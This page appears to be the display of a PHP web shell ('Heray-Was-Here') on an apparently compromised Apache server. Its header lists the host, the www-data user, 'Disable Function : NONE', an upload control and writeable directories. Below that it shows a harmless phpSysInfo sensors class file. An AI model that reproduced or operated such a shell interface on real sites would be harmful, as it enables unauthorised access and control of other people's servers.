Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/phpsysinfo/includes/phpsysinfo.old/includes/mb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/phpsysinfo/includes/phpsysinfo.old/includes/mb/class.sensors.inc.php
<?php
/**
 * Basic OS Class
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PSI sensors class
 * @author    Michael Cramer <BigMichi1@users.sourceforge.net>
 * @copyright 2009 phpSysInfo
 * @license   http://opensource.org/licenses/gpl-2.0.php GNU General Public License
 * @version   SVN: $Id: class.sensors.inc.php 661 2012-08-27 11:26:39Z namiltd $
 * @link      http://phpsysinfo.sourceforge.net
 */
 /**
 * Basic OS functions for all OS classes
 *
 * @category  PHP
 * @package   PSI sensors class
 * @author    Michael Cramer <BigMichi1@users.sourceforge.net>
 * @copyright 2009 phpSysInfo
 * @license   http://opensource.org/licenses/gpl-2.0.php GNU General Public License
 * @version   Release: 3.0
 * @link      http://phpsysinfo.sourceforge.net
 */
abstract class Sensors implements PSI_Interface_Sensor
{
	/**
	 * object for error handling
	 *
	 * @var Error
	 */
	protected $error;

	/**
	 * object for the information
	 *
	 * @var MBInfo
	 */
	protected $mbinfo;

	/**
	 * build the global Error object
	 */
	public function __construct()
	{
		$this->error = PSI_Error::singleton();
		$this->mbinfo = new MBInfo();
	}

	/**
	 * get the filled or unfilled (with default values) MBInfo object
	 *
	 * @see PSI_Interface_Sensor::getMBInfo()
	 *
	 * @return MBInfo
	 */
	final public function getMBInfo()
	{
		$this->build();

		return $this->mbinfo;
	}
}

Hry